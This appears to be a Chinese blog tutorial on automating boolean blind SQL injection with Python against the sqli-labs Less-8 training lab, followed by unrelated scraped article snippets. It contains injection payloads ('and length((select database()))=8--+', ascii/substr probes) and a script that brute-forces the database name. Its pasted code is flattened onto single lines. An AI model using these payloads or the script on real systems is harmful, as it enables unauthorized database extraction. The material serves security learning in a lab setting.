SQL盲注之python脚本自动化注入

SQL盲注

sql盲注无法使用sql语句注入,需要大量的判断语句或者延时注入。这样手动注入方式比较慢,手动发现注入点后可以使用python编写脚本注入。

手动注入

测试环境

测试环境sql-libs less8中的布尔注入

在这里插入图片描述

手动注入语句

?id=1' and length((select database()))=8--+
/?id=1%27%20and%20ascii(substr((select%20database()),1,1))=115--+

不正确时页面显示内容
在这里插入图片描述

正确时页面显示内容
在这里插入图片描述

在这里插入图片描述

就可以遍历访问url,然后匹配响应包中的内容是否包含You are in等特殊字段。


python脚本自动化注入

需求使用python脚本自动化注入,使用python脚本跑出测试环境中的数据库名称。

分解需求,
首先测试网站是否可以正常访问
其次遍历测试数据库的长度
最后遍历测试数据库名称

测试能否正常访问

url = "http://test.com/Less-8/"
# 按实践的地址
url_template = "http://test.com/Less-8/?id=1' and length((select database()))=8--+"
len = 0
headers = {'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 ''(KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36'}
# 发送get请求      
response = requests.get(url_template,headers = headers)
# 查看请求状态是否为200
print(response)

遍历测试数据库长度

def GetDBName():# 获取数据库的长度print("----------测试数据库长度--------------")url_template = "http://test.com/Less-8/?id=1' and length((select database()))={}--+"for i in range(1, 99):current_url = url_template.format(i)response = requests.get(current_url, headers=headers)if re.search(r'You are in',response.text):len = iprint("数据库长度为:", i)break

遍历测试数据库名称

def GetDBName():# 获取数据库的长度print("----------测试数据库长度--------------")url_template = "http://test.com/Less-8/?id=1' and length((select database()))={}--+"for i in range(1, 99):current_url = url_template.format(i)response = requests.get(current_url, headers=headers)if re.search(r'You are in',response.text):len = iprint("数据库长度为:", i)break# 测试数据库名称print("----------测试数据库名--------------")DBname = ''url_template1 = "http://test.com/Less-8/?id=1%27%20and%20ascii(substr((select%20database()),{},1))={}--+"for i in range(1, len+1):for j in range(33, 127):# 拼接构造需要的测试的URL地址,通过format函数批量构造current_url1 = url_template1.format(i, j)
#            print(current_url1)# 发送请求response1 = requests.get(current_url1, headers=headers)# 判断是否成功if re.search(r'You are in', response1.text):DBname += chr(j)print("数据库名为:", DBname)break

效果图
在这里插入图片描述

跑出数据库名称即可,测试点到为止。

完整代码

# 导入requests发送请求,导入re正则表达式对响应包进行筛选
import re
import requests# 首先测试一下是否能够正常访问到测试地址
url = "http://test.com"
url_template = "http://test.com/Less-8/?id=1' and length((select database()))=8--+"
len = 0
# DBname = ''
headers = {'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 ''(KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36'}
response = requests.get(url_template,headers = headers)
print(response)def GetDBName():# 获取数据库的长度print("----------测试数据库长度--------------")url_template = "http://test.com/Less-8/?id=1' and length((select database()))={}--+"for i in range(1, 99):current_url = url_template.format(i)response = requests.get(current_url, headers=headers)if re.search(r'You are in',response.text):len = iprint("数据库长度为:", i)break# 测试数据库名称print("----------测试数据库名--------------")DBname = ''url_template1 = "http://test.com/Less-8/?id=1%27%20and%20ascii(substr((select%20database()),{},1))={}--+"for i in range(1, len+1):for j in range(33, 127):# 拼接构造需要的测试的URL地址,通过format函数批量构造current_url1 = url_template1.format(i, j)
#            print(current_url1)# 发送请求response1 = requests.get(current_url1, headers=headers)# 判断是否成功if re.search(r'You are in', response1.text):DBname += chr(j)print("数据库名为:", DBname)breakif __name__ == '__main__':GetDBName()

说明

PS:请授权后再测试,禁止未授权进行渗透测试。使用代码默认是接受授权测试。请按照当地法规进行测试。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/220077.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【NI-RIO入门】使用LabVIEW进行数据采集测量

于ni kb摘录 选择合适的编程模式 CompactRIO系统具有至少两个用户可选模式。某些CompactRIO型号具有附加的用户可选模式,可以在实时NI-DAQmx中进行编程。请参考本文以判断您的CompactRIO是否能够使用实时NI-DAQmx。将目标添加到项目后,将提示您选择要使…

学习Java第70天,过滤器Filter简介

过滤器概述 Filter,即过滤器,是JAVAEE技术规范之一,作用目标资源的请求进行过滤的一套技术规范,是Java Web项目中最为实用的技术之一 Filter接口定义了过滤器的开发规范,所有的过滤器都要实现该接口 Filter的工作位置是项目中所有目标资源之前,容器在创建HttpServletRequest和…

JupyterNotebook VS JupyterLab 如果jupyter安装成功,点击jupyterlab即可进入lab环境

简介 JupyterNotebook 是一个款以网页为基础的交互计算环境,可以创建Jupyter的文档,支持多种语言,包括Python, Julia, R等等。一般来说,如果是使用R语言的话,使用Rstudio居多,使用Python的话,使…

神经网络可以计算任何函数的可视化证明

神经网络可以计算任何函数的可视化证明 对于神经网络,一个显著的事实就是它可以计算任何函数。 如下:不管该函数如何,总有神经网络能够对任何可能的输入x,输出值f(x) 即使函数有很多输入和输出&#xff0…

FC-13A(用于汽车应用的kHz范围晶体单元,低轮廓贴片)

FC-13A晶体非常适合用在汽车导航系统设计中的应用,是一种具有优异的频率性能和AEC-Q200标准认证的汽车工业级高精度晶体,FC-13A是一款尺寸为3.2 1.5 0.9mm,频率范围32.768KHz耐高温晶振,频率温度系数仅为-0.04ppm/℃,并且其老化…

使用动画曲线编辑器打造炫酷的3D可视化ACE

前言 在制作3D可视化看板时,除了精细的模型结构外,炫酷的动画效果也是必不可少的。无论是复杂的还是简单的动画效果,要实现100%的自然平滑都是具有挑战性的工作。这涉及到物理引擎的计算和对动画效果的数学建模分析。一般来说,只…

6.s081操作系统Lab4: trap

文章目录 chapter 4概览4.1 CPU trap流程使用寄存器如果cpu想处理1个trap 4.2 用户态引发的trap4.2.1 uservec4.2.2 usertrap4.2.3 usertrapret和userretusertrapretuserret Lab4Backtrace (moderate)Alarm (hard) chapter 4 概览 trap的场景:系统调用&#xff0c…

如何在jenkins容器中安装python+httprunner+pytest+git+allure(一)

背景: API接口自动化使用python语言实现,利用httprunner框架编写自动化用例场景(执行的时候还是依赖pytest),使用jenkins自动构建git上的源代码,并产生allure报告可视化展示API执行结果。 步骤 1.进入jenkins容器 注意使用roo…

【密码学基础】Diffie-Hellman密钥交换协议

DH介绍 Diffie-Hellman密钥协议算法是一种确保共享密钥安全穿越不安全网络的方法。 这个机制的巧妙在于需要安全通信的双方可以用这个方法确定对称密钥,然后可以用这个密钥进行加密和解密。 但是注意,这个密钥交换协议 只能用于密钥的交换,而…

Python PDF转DOCX文档

第三方包:pdf2docx from pdf2docx import Converterdef convert_pdf_to_docx(pdf_path, docx_path):# 创建一个转换器对象converter Converter(pdf_path)# 将PDF转换为DOCXconverter.convert(docx_path, start0, endNone)# 关闭转换器converter.close()# 调用函数…

跨域的解决方式(java后端)

文章目录 一、跨域介绍1、什么是跨域2、为什么会产生跨域3、禁止跨域的原因 二、简单请求和非简单请求1、简单请求1.1、什么时简单请求1.2、简单请求基础流程 2、非简单请求2.1、预检请求2.2、预检请求的回应2.3、浏览器的正常请求和回应 3、自定义跨域过滤器 三、解决方式1、C…

【C++】模板

这篇博客来说一下模板,模板有函数模板和类模板,先来看函数模板,你一听模板这个词就是提前给好一个模具,等我们用的时候在去套用 比如说:我们在实际应用中常常用到swap这个交换函数,但是呢,我们要…

大模型应用_FastGPT

1 功能 整体功能,想解决什么问题 官方说明:FastGPT 是一个基于 LLM 大语言模型的知识库问答系统,提供开箱即用的数据处理、模型调用等能力。同时可以通过 Flow 可视化进行工作流编排,从而实现复杂的问答场景!个人体会…

配置Nginx解决跨域问题

Nginx 中将前端请求中的所有以 “/apiUrl” 开头的路径代理到 http://192.12.200.101:9813 例如: /apiUrl/login > http://192.12.200.101:9813/login 配置nginx环境 进入Nginx 的配置文件编辑界面: sudo nano /etc/nginx/conf.d/default.conf开始编辑 defaul…

C# WPF上位机开发(动态添加控件)

【 声明:版权所有,欢迎转载,请勿用于商业用途。 联系信箱:feixiaoxing 163.com】 写图形界面软件的时候,我们经常会遇到一种情况。那就是图形界面上面,显示的控件可能是不定的。有可能多,也有可…

PyTorch官网demo解读——第一个神经网络(2)

上一篇:PyTorch官网demo解读——第一个神经网络(1) 继上一篇文章我们展示了第一个神经网络的完整代码,今天我们来聊聊这个神经网络的模型设计。 这个demo实际上只使用了一个简单的线性模型:y wx b; 手写…

软件测试用例经典方法 | 单元测试法案例

单元测试又称模块测试,是对软件设计的最小单元的功能、性能、接口和设计约束等的正确性进行检验,检查程序在语法、格式和逻辑上的错误,并验证程序是否符合规范,以发现单元内部可能存在的各种缺陷。 单元测试的对象是软件设计的最…

微信小程序背景图片设置

问题 :微信小程序通过css:background-image引入背景图片失败 [渲染层网络层错误] pages/wode/wode.wxss 中的本地资源图片无法通过 WXSS 获取&#xff0c;可以使用网络图片&#xff0c;或者 base64&#xff0c;或者使用<image/>标签 解决方法微信小程序在使用backgroun…

HPM6750系列--第十篇 时钟系统

一、目的 上一篇中《HPM6750系列--第九篇 GPIO详解&#xff08;基本操作&#xff09;》我们讲解了HPM6750 GPIO相关内容&#xff0c;在进一步讲解其他外设功能之前我们有必要先讲解一下HPM6750的时钟系统。 时钟可以说是微控制器系统中的心脏&#xff0c;片上外设模块必须依赖时…

如何用Adobe Audition 检测波形的pop和卡顿

在Adobe Audition中&#xff0c;检测卡顿和pop的方法各有不同&#xff1a; 1. **检测卡顿**&#xff1a; - 使用“诊断”面板中的“删除静音”或“标记音频”选项可以帮助识别音频中的静音段落&#xff0c;这可能表明存在卡顿。 - 配置诊断设置&#xff0c;指定静音的振…